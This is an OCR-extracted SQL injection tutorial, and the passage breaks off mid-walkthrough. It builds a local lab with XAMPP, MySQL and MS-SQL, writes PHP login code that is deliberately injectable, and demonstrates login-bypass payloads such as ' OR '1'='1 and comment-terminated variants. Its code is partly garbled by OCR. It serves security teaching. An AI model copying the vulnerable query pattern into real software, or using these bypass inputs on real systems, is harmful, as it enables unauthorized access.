SQL Injection
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Setting up the environment

Set up Apache

For this tutorial I will use the XAMPP environment. Current version at the time of writing is xampp-
portable-win32-1.8.3-2-VC11. For SQL server I will use the built-in MySQL Server and Microsoft
SQL server 2012 installed on another machine. Recognize that the xampp is a 32 bit application. It will
be important, at the time when you install the MS-SQL native client and the necessary additional .dll
files.

E[ | Compressed Folder Tools | www.apachefriends.org =|O| X
Home Share View Extract ﬂ
@ - 4 ‘ <« CD Drive (D:) DVDTools20140... » www.apachefriends.org » ] G| | Search www.apachefriends.org & |
% Favorites Marne | | Date modified | ‘ Type ‘ ‘ Size | |
B Desktop xampp 3/2/2014 T:26 AM File folder
4 Downloads | 1| xampp-portable-win32-1.8.3-2-VC11 zip 1/28/2014 18 AM  Compressed (zipp... 130,089 KB|
= Recent places E—]xampp-win32-1.S.D-VCQ-instaIIer.exe 8/1/201210:38 AM  Application 93,374 KB
& yampp-win32-1.8.3-2-VC11-installer.exe 1/28/2014 714 AM Application 120,893 KB

After extracting the XAMPP package | renamed the directory to xampp. Change to this directory,
start the xampp-control.exe application, and choose the language version. I use the English version.




B xam pp-control

# | xampp-control

6/17/2013 1:42 AM
3/30/2015 3:28 AM

Application

Configuration sett...

1KBE

The xampp control panel gives you some warning that port 80 and 443 are used by another
application. That application is the IIS:

L] — ®

IoT LI
Home Share View Manage b
@ = ow | J » ThisPC » Local Disk(C:) » xampp v & ‘ | R
e rvates e [ [osemoaned TTmpe  [fsee ]
B Desktop | tmp 3/2/201410:30 AM  File folder
4 Downloads ) tomeat 3/2/2014 10:30 AM  File folder
& Recent places . webalizer 3/2/201410:30 AM  File folder
| webdav File folder
1% This PC 2| apache_sti Windows Batch File 1KB
i Desktop 2| apache_st Mindows Batch File TKB
~| Documents catalina_se Nindows Batch File 10KE
& Downloads catalina_st MNindows Batch File 3KB
d Music catalina_st Windows Batch File 3KB
=| Pictures || changes Text Document TKB
gl Videos mysql_star Mindows Batch File 1KB
Local Disk (C:) mysql_sto Mindows Batch File 1KB
=a C0 Drive (Dx) 140302 || passwords Siauieuls et AM  Text Document 1KB
. = readme_de 12/4/2013 @30 AM Text Docurnent KB
'&F Metwaork | readme_en 12/4/2013 &:30 AM  Text Document KB
setup_xampp 3/30/2013 3:28 AM Nindows Batch File 1KEB
test_php 3/30/2013 3:28 AM Nindows Batch File 4 KB
xampp_start 3/30/2013 3:28 AM  Application 116 KB
@ xampp_stop 3/30/2013 3:28 AM  Application 116 KB




XAMPP Control Panel v3.2.1 [ Compiled: May 7th 2013 ]

XAMPP Control Panel v3.2.1 [ Jconfig |

~ Modules
W Metstat
Service Module  PIDs) Portls) Actions @ Netsta

Apache Admin Config B Shell

MySaL Admin Config —| Explorer

FileZilla Admin Config B Senvices

Mercury Admin Config @ Help

J Tomcat Admin Config I Quit

11:11:46 AM [Apache] Problem detected! (-]
11:11:46 AM [Apache] Port 443 in use by "Unable to open process” with PID 4

11:11:47 AM [Apache] Apache WILL NOT start without the configured ports freel

11:11:47 AM [Apache] You need to uninstall/disable/reconfigure the blocking application

11:11:47 AWM [Apache] or reconfigure Apache and the Contral Panel to listen on a different port

11:11:47 AM  [main] The FileZilla module is disabled

11:11:47 AM [main] The Mercury module is disabled

11:11:47 AM [main] Starting Check-Timer

11:11:47 AM  [main] Control Panel Ready

To be able to use the two applications together let us change the port used by XAMPP Apache . |
recommend to install some text editor like Notepad++ what is able to handle the linux end line
character because if you use the windows built in Notepad it will not wrap the text in config file
correctly.

First open the xampp\apache\conf\httpd.conf in your text editor:

Home 5hare WView b
@ I | , » ThisPC » Local Disk (C:) » xampp » apache » conf » W c.| |
v Favorites Mame - ‘ ‘ Date modified | | Type | | Size | |
Bl Desktop | extra 2/13/2014 11:02 AM  File folder
4 Downloads . original 2/13/2014 11:02 AM  File folder
£l Recent places ) sslert 2/13/2014 11:02 AM  File folder
) sslesr 2/13/2014 11:02 AM  File folder
18 This PC ) sslkey 2/13/2014 11:02 AM  File folder
m Desktop || charset.conv 11/21/201311:13 ... CONV File 2KB
= Documents . httpd.conf 12/4/2013 6:27 AM CONF File
4 Downloads || magic 11/21/2013 1113 .. File 14 KB
o Music || mime.types 12/4/2013 6:27 AM TYPES File 32 KB
=| Pictures || openssl.cnf 2/11/2013 7:26 AM CNF File 11 KB




and search for the line Listen 80 and change it to Listen 8888 or some other free port, as it
can be seen on the picture below.

File Edit 5earch View Encoding Language 5S¢
J cEHHBEE&|d a3 e
[=] httpd corf ﬂ|

F

#Li=ten 12.34.56.78:80

Listen gaag

1 o

Wi o

Then open the file xampp\apache\conf\extra\httpd-ssl.conf in your text editor and search for the line
Listen 443, and change it to Listen 4433 or some other free port, as it can be seen on the

following screen-shot.

File Edit Search View Encoding
J g = E] B 3 s LB] | & W
[=] httpd-ssl.conf ..j|

7
Li=sten 4433

=

[ T e I

The XAMPP was created in Visual Studio 11 as it is marked in the file name by VC11. So to be able to
run XAMPP it is required to install the visual studio redistributable package. . The XAMPP is 32 bit
environment, so you will need the 32 bit version of the redistributable package. The version 11
belongs to Visual Studio 2012 development environment.

Application Tools www.microsoft.com
Home Share View Manage
@ *- 1T ‘ J <« CD Drive (D) 140302_1923 » www.microsoft.com » v & ‘ | »
- Favorites Mame | | Date modified ‘ | Type | | Size | |
oy & z

Bl Desktop [ WindowsVista,6002.000410-1830x86fre.5...  5/16/2011 8:36 AM Application 288,307 KB

4 Downloads ﬁ'_'?}ﬂ Windows_Win8.9200.16384.120725-1247 x...  10/3/2013 11:46 AM  Windows Installer ... 560,312 KB

il Recent places iig veredist_x86-11 0/3/2013 11:33 AM  Application 6,399 KB

ﬁ veredist_x86_13 1/28/2014 640 AM - Application 6,401 KB

1M This PC .:,__,-_| weredist_x26_2k8 10/3/2013 12:06 PM  Application 4119 KB

This is the main screen of the installer where one can see the exact version of the redistributable
package.



i Microsoft Visual C++ 2012 Redistributable (x86) - 171... Il Ml MRS

Microsoft Visual C++ 2012
Redistributable (x86) - 11.0.60610

MICROSOFT SOFTWARE LICENSE TERMS ]

MICROSOFT VISUAL C++ 2012 RUNTIME LIBRARIES

These license terms are an agreement between Microsoft Corporation (or
based on where you live, one of its affiliates) and you. Please read them. [,

[¥]1 agree to the license terms and conditions

| Install | | Cloze |

After that one can start the Apache by clicking the Start button next to its name and port number(s).

® XAMPP Control Panel v3.2.1 [ Compiled: May 7th 2013 ] - o] x |
XAMPP Control Panel v3.2.1  cont
— Modules :
@ Netstat
Service Module  PID(s) Portls) Actions _ @ Netstat
| Apache gggj 44338888 [ Stpp | Admin || Config | Logs || [ Shel
| wysa Stat | Admin || Config || Logs || [ Explorer
| Filezila Stat || Admin || Config || Legs ||| ™ Senices
J Mercury Start | Admin ‘ Config | Logs | @ Help
J Tomcat Start | Admin ‘ Config | Logs | I Quit
11:35:29 AM [Apache] You need to uninstall/disable/reconfigure the blocking application B

]
11:35:29 AM [Apache] or reconfigure Apache and the Control Panel to listen on a different port
11:35:29 AN [Apache] Problem detected!
11:35:29 AM [Apache] Port 443 in use by "Unable to open process” with PID 4!
11:35:29 AM [Apache] Apache WILL NOT start without the configured ports free!
11:35:29 AM [Apache] You need to uninstall/disable/reconfigure the blocking application

]

]

]

11:35:29 AN [Apache] or reconfigure Apache and the Control Panel to listen on a different port

11:35:29 AN [Apache] Status change detected: running

11:35:29 AN [Apache] Attempting to start Apache app... J
[=]
p




Set up the MySQL database

Then start the MySQL server by clicking the Start button next to its name and port number.

XAMPP Control Panel v3.2.1 [ Compiled: May 7th 2013 ] =-|0] X
W XAMPP Control Panel v3.2.1 & Config
r Modules y

) Metstat
Service Module  PID(s) Port(s) Actions | e
| Apache ggéj 4433 8888 | Stop | Admin || Config | Logs || [ Shel
| wmysaL 2544 3306 | Siop | Admin | Config | Logs | Explorer
J FileZilla Start | Admin ‘ Config | Logs | F Senices
J Mercury Starl | Admin ‘ Config | Logs | © Help
J Tomcat Start | Admin ‘ Caonfig | Logs | I Quit
11:35:29 AM [Apache] Problem detected! -
11:35:29 AN [Apache] Port 443 in use by "Unable to open process” with PID 41
11:35:29 AN [Apache] Apache WILL NOT start without the configured ports freel
11:35:29 AN [Apache] You need to uninstall/disable/recanfigure the blocking application
11:35:29 AM [Apache] or reconfigure Apache and the Control Panel to listen on a different port
11:35:29 AN [Apache] Attempting to start Apache app...
11:35:29 AN [Apache] Status change detected: running
11:51:85 AN [mysgl]  Attempting to start MySQL app... J
11:51:55 AN [mysgl]  Status change detected: running
=]
:

We have to create a MySQL database, and some table for the demo. Open a Command Prompt, and
change to the MySQL directory. In our case it is ¢ : \xampp\mysql\bin. Then connect to the
MySQL Server by issuing the command mysql .exe -uroot

Administrator: Command Prompt - mysql.exe -uroot

C:\xamppsmysqlsbin?>mysql.exe -uroot

elcome to the MySQL monltor Commands end with ; or \g.
Your MySQL connection id

Server version: 5.6.14 MySQL Community Server (GPL)

Copyright (c) 20080, 2013, Oracle ands/or its affiliates. All rights reserved.

Oracle is a re istered trademark of QOracle Corﬁoration and/or its
affiliates. er names may be trademarks of eir respective

Type 'help;’' or 'Sh' for help. Type '\c’ to clear the current input statement.

Then create the database using the command create database a;. Do not forget the
semicolon at the end of the command, because MySQL requires it.



Administrator: Co

at abas
row aFFected (0.02 sec)

1

Then create a table what is required for the demo with the following commands:

use a;
create table tbll(id int, username varchar(100) ,password
varchar (100) ,encpassword varchar (100) ,description wvarchar (100)) ;

Again, do not forget the semicolon at the end of the lines. Someone may wonder why the password will
be stored in both hashed and cleartext as it doesn't make sense. That's because for some examples we

will use hashed password, and for some others we will use the cleartext format.

Administrator: Command Prompt - mysql.exe -uroot

ged
mysql> create table tbll(id int, username varchar(189@),password varchar(19d), enc
password varchar(l@@),description varchar(1@@});
Query 0K, @ rows affected (@.30 sec

mysql>

Then insert some values to the previously created table with the following commands:

insert into tbll values(1l, "name", "pass",md5("pass"), "description of
user name") ;

insert into tbll values (2, "name2", "pass2" ,md5 ("pass2"),"description
of user name2") ;

Administrator: Command Prompt - mysql.exe -uroot
mysq insert into tb values(l, "name","pass" ,mdo({"pass" ), "description of user |~

Query 6K, 1 row affected (0.02 sec)

mysql> 1n5ert into tbll values(2, "name2", "pass2" ,mdS5("pass2"),"description of us
er name

Query 0K, i row affected (0.00 sec)

mysql >

To set up the web server files first delete all the files and directories from the xampp\htdocs\
directory.



. EE{ htdocs

Home Share View v @

© + [ » ThisPC » Local Disk(C) » xampp » htdocs v & | o |
Name - | | pate medified | | Type | [sie ||

{ Favorites

Bl Desktop B forbidden File folder
& Downloads . restricted File folder
=l Recent places . xampp File folder
& apache_pb GIF image
1M This PC (A apache_pb PMG image
m Desktop & apache_pb2 GIF image
| Documents A apache_pb2 PNG image
4 Downloads B8l apache_pb2_ani GIFimage
o Music E favicon lcon
= Pictures =} index HTML Docurmnent
B Videos B index.php PHP File

Es Local Dis
ey CD Drive (D) 14030

Delete Multiple ltems

E‘n
M Metwork Are you sure you want to permanently delete these 11 items?

Create a sample application for the SQL injection test. Do the following:

* Create an sqlil directory in the xampp\htdocs\ directory
* In this new directory create a file with the name sql.html with the following content:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>



Chxampp\htdocs\sgliv\sgl.ntml - Notepad++
File Edit S5earch View Encoding Language Settings Macre Run Plugins  Window 7

FEL LR L NEEL P EREEEREERRIELE

Eﬂquﬂmlﬁﬂ

<titlexmylogin</title>

<body>

<form action="ggl.php" method="POST">
User Name:<input type="text" id="gsername" name="mpsername"/> <br/>
Password:<input type="password" id="password" name="password"/> <br/>

W L RS

<inmput type="submit" value="send"/>
</ form>
<body>

-1 & Ln

k]




Set up the MS-SQL database

Connect to the MS-SQL server with the Enterprise Studio application and create a new database by
doing a right click on the Databases branch in the object explorer and then select the New Database...
command.

I ok

File Edit View Debug Tools Window Help

[ED'J'E ﬂﬁ|,}lleﬂuer}r m@%%

Object Explorer

Connect~ #3 ®J w 7 [F] &
=] [B HACK-DC (50L Server 11.0,3000 - HACH
=)= Databases!
[ Systel
Ll Datak

pu— L v

Give an arbitrary name to the database. I used the name "a". Then click to the OK button.



Mew Database

‘L_ts Script - m Help

Database name: IEI

Chwner: |<defauh>

[¥] Use fulltest indexing

Database files:

Logical Name File Type | Filegroup | Initial Size (MB) | Autogrowth / Maxsize
a Rows ... | PRIMARY 4 By 1 ME, Unlimited
a_log Log Mot Applicable | 1 By 10 percent, Unlimited

Connection

Server:

HACK-DC

Connection:
HACKME*Administrator

_ﬁ! View connection properties

Progress
Ready

Then create a new table by right clicking on the Tables branch under the newly created database, and
select the New Table... command from the popup window.

File Edit WView Debug Tools Window Help
- - S @ | D NewQuery [ 5 [ |

Connect~ & &0 » 7 @5
= L.a HACK-DC (S0L Server 11.0.3000 - HACH
B [ Databases
[ System Databases
[ Databaze Snapshots
B a
[ Database Diagrams
a
[ View
3 Syno Mew FileTable...

[C Y




Define the columns as follows:

|
Column Mame | Data Type | Allow Mulls

p|id int N
USErname rvarchar(100) I
password rvarchar(100]) |
encpassword binary(16) W
description rvarchar(100]) W+

-

FIXME: create parancs beillesztése
Give some name to the new table, I used the name tbl1, then click to the OK.

Choose Name H“

Enter a name for the table:

[ ten]

Cancel

Insert some lines into this table using the following commands:

insert into tbll

values (1, "'name', 'pass',HASHBYTES ('md5"', 'pass'), '"description of user
name') ;

insert into tbll

values (2, "'name2', 'pass2',HASHBYTES ('md5"', 'pass'), 'description of user
name2') ;



File Edit View Cuery Project Debug Toels Window Help
(@ - S W@ ANy GBBE % DB[9 - - @3- 0 [E]
[i‘jﬁﬂa v|TExecute b Debug EJEEEA|E‘1=%|@ ; . .

Ohbject Explorer 3 x S50LCueryl.sgl - HA. Administrator (32))* >
Connect ﬂ !E BT ﬁ Elinsert into tbll values(1, 'name','pass’,
= [.B HACK-DC (SQL Server 11.0.3000 - HACH HASHBYTES( 'MD5 ', "pass'), 'description of name');

Bl [ Databases Elinsert into tbll values(2, 'name2’,'pass’,

(3 System Databases |_ HASHEYTES( 'MD5 ', "pass '), "description of name2');
[ Database Snapshots

=
[ Database Diagrams
B [ Tables
[ System Tables
[ FileTables
H dbo.tbll

Create a new SQL login. Right click the Security \ Logins branch, and select the New Login... from
the popup menu.

Machine View Devices Help
File Edit WYiew Project Debug Teols Windo

P 5 @ | D NewQuery [Ty

R — T

27 19

Object Explorer

Connect~ & &0 » F B

=) [_B HACK-DC (SOL Server 11.0.3000 - HACE
[ Databases

B 1 Security

Give an arbitrary username. I used the name "web" than ive some password to the user. I used the
password P@sswOrd. Turn off the password policy enforcement.


mailto:P@ssw0rd

Login - New

Select a page 5 Script - w Help
%A General
124 Server Roles
g;‘ User Mapping Login name: IWE'b Search.. |
ﬁ:‘ Securables 0 Windows authentication
ﬁ'ﬁ Status % 50 Server authentication
Password: I.iiilll.
Confirm passwond: |uuuu

I Specify old password
(ld password: I

[T Erforce password policy
] Erforce password expiration

] User must change passwond at nead hogin

Then go to the User Mapping sidebar menu item, and add the new user to our database, and set that
user up as dbowner.



Selecta page
14 General

1% Server Roles
_’@i zer Mapping
% Securables
2 Status

Connechion

Server:
HACK-DC

Connection:
HACKME Administratar

2 View connection properties

Login - New

5 Script - L’j Help

Progress
Ready

|Users mapped to this login:

Map | Database

Default Schema

a

master

model

mzdb

m|imliml =ik

tempdb

[ Guest account enabled for: a

Database role membership for: a

[] db_accessadmin
[] db_backupoperatar
[] db_datareader

[] db_datawriter

[] db_ddladmin

[] db_denydatareader
[] db_denydatawriter
[

[] db_securtyadmin
[w] public




Set up the firewall

In our case the Apache runs on the port 8888, so we should open this port in the Windows firewall
configuration. To do it click on the start button and navigate to the administrative tools\ windows
firewall with advanced security menu. Then right click on the Inbound Rules, and from the popup
menu select New Rule...

File Action View Help

e zm = H
ﬁ' Windows Firewall with Advancy

£% Cutbound Rul Mew Rule... -y Protocol (BGP-In)

e C tion S ] i
<l -onnection Filter by Profile b |Content Retrieval (HT

Filter by State » |Hosted Cache Server

I 'E, Menitoring

Select Port as Rule Type.

Rule Type

Select the type of firewall rule to create.

Steps:

& Rule Type What type of nile would you li
& Protocol and Ports

@ Action O Program

@ Frofile Rule that controls connec
@ MName ® Port

Rule that controls connecd

Set the specific local ports to TCP 8888.



Protocol and Ports

Mew Inbound Rule Wizard

Specify the protocals and ports to which this rule applies.

Steps:

@ Rule Type

@ Protocol and Ports
@ Action

@ Profile

@ Mame

Allow the connection to this port.

Dioes this nile apphy to TCP or UDP?

® TCP
) uDP

Dioes this nule apply to all local ports or specific local ports?

) All local ports

® Specific local ports: n2an

Example: 80, 443, 5000-5010

Mew Inbound Rule Wizar

Action

Specify the action to be taken when a connection matches the conditions specified in the r

Steps:

@ Fule Type

@ Protocol and Ports
@ Action

& Profile

& MName

What action should be taken when a connection

® Allow the connection
This includes connections that are protected

) Allow the connection if it is secure

This includes onby connections that have bee
will be secured using the settings in |Psec pro
Rule node.

) Bleck the connection



Set the profile to define when this rule applies. I set all the profiles.

Mew Inbound Rule Wizard

Profile

Specify the profiles for which this rule applies.

Steps:
@ Rule Type When does this rule apphy?
& Protocol and Ports
& Action Domain
s Profile Applies when a computer is connected to its corporate domain.
& MName Private
Applies when a computer is connected to a private network location, such as a home
or work place.
Public

Applies when a computer is connected to a public network location.

Give any name to this new rule, then click to the finish button.



Mew Inbound Rule Wizard

Name

Specify the name and description of this ule.

Steps:
@ FRule Type
@ Protocol and Ports

@ Action

& Profile Name:
apache-hitp

& Mame

Description {optional):

To test whether it is working or not open the sql.html in a browser:

i-—"';', http://192.168.168.111:2888/s5qli1/sql.html Jo 3N o 1% mylogin

TJserIﬁanue1

Password :|

send



Set up the php.ini, to use the MS-SQL Server, too

Unfortunately Microsoft does not updated the MS-SQL PHP driver. It has been compiled with an
older version of Visual Studio so the official MS-SQL PHP driver what can be downloaded from the
URL http://www.microsoft.com/en-us/download/details.aspx?id=20098 does not work.

One can find a recompiled version of the driver created by the community. It can be download from
the http://hmelihkara.com website. You have to copy the php_sqlsrv_55 ts.dll to the
xampp\php\ext directory. The ts tag means the thread safe version. If you want to install any
additional driver keep in mind that the Apache in the XAMPP is a thread safe version, so you have to
use the appropiate thread safe versions of modules and drivers. .

hmelihkara.com-php_sqls

Home Share Wiew
@ * | =« www.microsoft.com » hmelihkara.com-php_sqglsre_55

~f Favorites Name —
B Desktop |%| php_pdo_sglsrv_55_nts.dll 6/26,
& Downloads |%| php_pdo_sglsre_55_ts.dll 6/26,
15 Recent places |%| php_sglsrv_55_nts.dll 6/26,

php_sglsrv_55_ts.dll
1M This PC

Open the xampp\php\php.ini file with a text editor.

Home Share View
@ *- T , » ThisPC » Local Disk (C:) » xampp » php »
_ . Mame = Date mo
- Favorites
& php.gif M7

Bl Desktop
& Downloads

T
= Recent places

php.ini

|| php.ini-development

|| php.ini-production

Add the following line to the extensions part of the php.ini file:
extension=php sglsrv 55 ts.dll

File Edit

Search View Encoding Language Settings Macn

J o JE\]‘U =} @@|*-D|é}c|ﬂbﬂ|“.

B sgl himl &3

B salohp £ = phpini ﬂ|

- -

|
[ R T % T =

]
]
oy N

;extension=php ldap.gdll
;extension=php mssgl.dll
extensiDn=php_sqlsrv_55_t4.d11
;extension=php mbstring.gll
;extension=php exif.dll ; Mus=t be
extension=php mysgl.dll

330720
1112020
1112020



http://hmelihkara.com/
http://www.microsoft.com/en-us/download/details.aspx?id=20098

This driver requires the MS-SQL native client installed on the machine. So install the correct version
of the native client to this machine.

Microsoft SQL Server 2012 Native Client Setup

Welcome to the Installation Wizard for SQL Server
2012 Hative Client

Setup helps you install, modify or remove SQL Server 2012 Mative
Client . To continue, dick Next.

WARNIMG; This program is protected by copyright law and
international treaties,

Cancel

To test it create an sql.php in the xampp\htdocs\sqll directory with the following content:

<?php

SconnectionInfo = array("Database"=>"a", "UID" =>"web",
"PWD"=>"P@AsswOrd") ;

Sdbsrvname = "192.168.168.110";

$con = sglsrv connect ($srvname, SconnectionInfo);

if (!Scon) {
echo ('Connection ERROR');
die(print r(sglsrv errors (SQLSRV _ERR ALL)));
}
$query = "SELECT * FROM a.dbo.tbll WHERE username='"

$_POST['username'] . "' AND password='""
$ POST['password'] . "';";
$stms = sglsrv_query(Scon, S$Squery);
1f ($stms === false) {

echo ('"ERROR during query execution: ');



die(print r(sglsrv_errors (SQLSRV_ERR ALL)));
}
$row = sqglsrv_fetch array($Sstms, SQLSRV_FETCH_ASSOC) ;
i1f (Srow) {

die ('Logged in');

}
else({
die ('Wrong username or password');

Chxampp\htdocs\sglil\sgl.php - Notepad++
File Edit Search View Encoding Language Settings Macro  Run Plugins  Window 7

IFEL LI EIELI LR IERIEEIER - E RO
B =gl html E3 = sl php E3|.php.ini_1|

1 [H<?php
2 SconnectionInfo = array( "Database"=>"a", "UID"=>"weh", "EFWD"=>"PEsswlird"):
2 £srvname = "192.168.168.110";
- Scon = sglsrv_connect ($srvname, $connectionInfo);
5 [Hif ('Scomn) {
& echo ('connection error'):
7 die (print_ r(=sglsrv_errors (SQLSREV_ERR ALL))):
B fquery = "SELECT * FROM a.dbo.tbll WHERE username=""
10 £ POST['username'l "1 AND password='"
11 £ POST['password'] -
12
13 $stmt = sglsrv gquery( S$con, Squery):
14 [Hif (Estmt===false) {
15 die("ERRCR during query execution'):;
16 ]
17 $row = sglsrv_fetch array($stmt, SQLSEV FETCH ASSCC):
182 [Hif (Srow){
159 die('Logged in');
20 ER
21 [Helsei
22 die ('wrong psername or password'};
23 =
24 -

The code contains a nice SQL injection vulnerability at the part when it assembles the query string in
the line:

Squery = "SELECT * FROM a.dbo.tbll WHERE username='"
$ POST['username'] . "' AND password='"
$ POST['password'] . "';";






Basic SQL injection Methods

Classic Login Bypass

We have two files: one html which draws the login screen and a php file what checks the credentials.
The html is a very simple one. The source of it is the following:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" value="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php which validates the user credentials.

s
File Edit 5Search View Encoding Language Settings Macre Run Plugins  Window 7
EFEL LI TR TID AR 1= R =] - Fal ol D
Eﬂmﬂhﬂlﬂl
1 ktitle}mx;gg;g<ftitle>
2 <body>
3 <form action="ggl.php" method="POST">
= Oser Name: <input type="text" id="gpsername" name="psername"/><br/>
5 Password: <input tvpe="password" id="password" name="password"/><br/ >
6 <input type="submit" value="szend">
</ form>
B < /body>

The sql.php has the following source code.

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
if (!$con) {
echo ('Connection ERROR');
die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='"



$_POST['username'] . "' AND password='"
$_POST['password'] . "';";
$stms = mysgli query(Scon, S$query);
if ($Sstms === false) {
echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));
}
$row = mysqgli fetch array(Sstms, MYSQLI ASSOC);
if (Srow) {
die ('Logged in');
}
else(
die ('Wrong username or password');

}
7>

File Edit Search View Encoding Language Settings Macre  Run  Plugins  Window 7

cEHERLA smaiboeay ax BE 1 [EEEAIEED ®E

EmMMpB|
1 [El<?php
2 Sdbname = "a";
3 Susername = "root";
B Spassword = "";
5 Ssrvname = "127.0.0.1";
G Scon = mysgli connect ($dbsrvname, $dbusername, S$dbpassword, Sdbname);
7 Hif (!Scon){
a echo ("Connection ERBOR') ;
g die {print_r{mysqli_errcr{Sccn} 1);
10 |}
11 Squery = "SELECT * FROM tbll WHERE usernams="" .
12 $ PCSET['ussrname.] "' BAND password='"
13 $ POST['password'] . "';";
14 Sstms = mysqli guery({Scon, $gquery);
15 [HAif ($stms =—= false) |
16 echo ("ERROR during query execution: ");
17 die(print r(mysgqli error(Sceon)));
18 21

19 Srow = mysgli fetch array($stms, MYSQLI ASS0C);
20 Hif ($row){

21 die("'Logged in");

22 =4

22 [Helse]

24 die ('Wrong ussrname or password');
25 =21

26 -2




This code contains a very nice SQL injection in the lines 12-14 builds an SQL query, where the user
input is entered without any filtering:

Squery = "SELECT * FROM tbll WHERE username='"
$_POST[ 'username’'] . "' AND password='"
$ POST['password'] . "';";

Then runs the built query in the line 15:
$stms = mysqgli query(Scon, Squery);

Then it checks only, if there is a return data (lines 20-21). If there's some data , it lets you login. If it is
unsuccessful, then prints an error message:

$row = mysqgli fetch array($stms, SQLSRV FETCH ASSOC) ;

if (Srow)

First test if the application works as expected. To do it open it in a browser, and enter anything as
username and password

_

GQ :)\I = http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: |wﬁ:|5|:| ®

Paszword: I--------..

Then click on the send button:

(: )| @ http://192.168.168.111:3888/mysql/sql/sql.php

Wrong username or password

And of course we are unable to login, the username and/or password was invalid.
Now try a valid username and password. If someone recalls the tbl1 creation, then will remember that
the username: name, and password: pass is a valid combination. Try now this one:

ao 2 http://192.168.168.111:8888/mysql/sgl1/sql.html

Uszer Name: |name

Password: [eses| -



Then click on the send button:

euf’j} @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in

We were able to login, so the application works as expected.

Now try to attack this type of application. If we write down seperately the SQL query it looks as
follows:

SELECT * FROM tbl1 WHERE username='XXXXXXXX"'AND password='YYYYYYYYY';

Here, the black text is the hard coded part from the php source code . The red ones are the text under
user control.

Now try to figure out what shall we write instead of the Xs and/or Y to force the application to let us
login. Our purpose is to get some return data.

The problem, we are writing a string. So first of all we have to start the text with an apostrophe ('). By
the help of it we can break out from the string, and the remaining part of it becomes a SQL instruction.
The Query until now looks like as follows:

SELECT * FROM tbl1 WHERE username=""AND password='"YYYYYYYY';

OK, let us try it:

ea =22 http://192.168.168.111:8888/mysql/sql1/sql.html

Uszer Name: |‘

Password: |

But the SQL server gave only a nice syntax error to this input:

(=) @ http://192.168.168.111: O ~ €& | @ 192.168.168.111

ERROE. during query execution: You have an error in yvour SQL
syntax; check the manual that corresponds to vour MySQL server
version for the right syntax to use near """ AND password="" at line 11



Because there is not a valid SQL instruction. Instead of this ee have to write a logical expression that
changes the WHERE expression to always true. We can use the true expression (what is always true of
course) or some always true logical expression like 1=1. And we have to use the OR operator, because
in case of the or if one of the parameters is true (and we used an always true expression as one
parameter). Then the result will be true independently of the other parameter. If we put it together we
can use the OR true or the OR 1=1 as SQL command. Until now the SQL query looks like the
following:

SELECT * FROM tbl1 WHERE username='' OR 1=1' AND password='YYYYYYYY";

It is getting better:

e e = http://192.168.168.111:8388/mysql/sql1/sql.html

Uszer Name: |‘ or 1=1

Password: |

But if one tries to run

this query it still give syntax error:

e(_. )| @ hitp://192.168.168.111: O ~ & | @5 192.168.168.111

ERFE.OR dunng query execution: You have an error 1n your SQL
syntax; check the manual that corresponds to vour MySQL server
version for the right syntax to use near " AND password=""at line 11

It happens because of an unnecessary apostrophe (') after the OR 1=1. It is written with black, so it is
hardcoded to the PHP code. It means that we are not able to delete it. If we are not able to destroy it, an
other solution is to use it for our purpose. Because not only 1=1, but also '1'='1". So we modify our SQL
text to OR '1'="1 and we DO NOT write the closing apostrophe ('), because it is already included in the
code. Then the SQL query looks like this:

SELECT * FROM tbl1 WHERE username=''" OR '1'="1' AND password="YYYYYYYY";
So the text we have to enter to bypass this logon application is this:
' OR '1'='1

Let us try it in practice:

e e = hitp://192.168.168.111:8888/mysgl/sql1/sgl.html

Uszer Name: |‘ or'1'="1 b

Password: |



Now we do not get a syntax error, that is good. But we were not able to enter, that is bad, because
according to our theory this query should log us in:

'\ | & http://192.168.168.111:8888/rmysql/sql1/sql.php

Wrong username or password

What happened? The problem is that the evaluation of the logical expressions is done from left to right.
And our query now is this:

SELECT * FROM tbl1 WHERE username="' OR '1'='1' AND password="";

As we can see after our true expression there is an AND. So we were only able to log in, if we typed a
password that was valid for at least one user.

But is we change the order,and put our code to the end, then it will hopefully work.
SELECT * FROM tbl1 WHERE username=""AND password="" OR '1'='1";

Try this version:

eo @ hitp://192.168.168.111:8888/mysql/sql1/sgl.htm|

User Name: |

Password: [sesesesssesd| -

And we were able to log in.

eQ :fl (2 http://192.168.168.111:3888/mysql/sql1/sql.php

_

Logged in

OK, mission is completed. But let us step back a little and try to find other solutions, too. When we
were using the ' OR 1=1 string we got the following SQL query:



SELECT * FROM tbl1 WHERE username='' OR 1=1' AND password='YYYYYYYY";

And obviously it has a syntax error. We bypassed the syntax error by using the unnecessary apostrophe
('). There can be another solution. We can simply comment the remaining part including the
unnecessary apostrophe ().

In case of SQL Servers there are many different comment signs:

*  Minus minus --

* In case of some SQL Servers the minus minus is not enough, it requires an arbitrary text after it.
Usually it is used in the form of minus minus space -- , or minus minus space minus -- -.

* The hashmark #

* And the slash star /*. It works quite rearly because most SQL Servers requires its closing tag,
the star slash */ as well, and without it gives a syntax error

Our input test string then becomes the following:
' OR 1=1--
' OR 1=1-- -
' OR 1=1#
' OR 1=1/%*

Let us try them one by one to see how MySQL reacts to them. In case of the first one we get the
following query (I used the green color to show the commented parts):

SELECT * FROM tbll WHERE username="' OR 1=1--"AND password="YYYYYYYY';

Test it:

eo @ hitp://192.168.168.111:8888/mysql/sql1/sgl.htm|

User Name: |‘ or 1=1- X

Password: |

As we can see we get a nice syntax error message, so MySQL does not like it:

= O x

eif )| & hitp://192.168.168.111:8888/r O ~ C | & 192.168.168.111 A ok L

EEROR during query execution: You have an error in vour SQL syntax; check the

marnual that corresponds to vour MySQL server version for the right syntax to use near "
AND password=""at line 11



Then try to write something after the minus minus. I used the minus minus space minus version:

e o (22 http://192.168.168.111:3888/mysql/sql1/sql.html
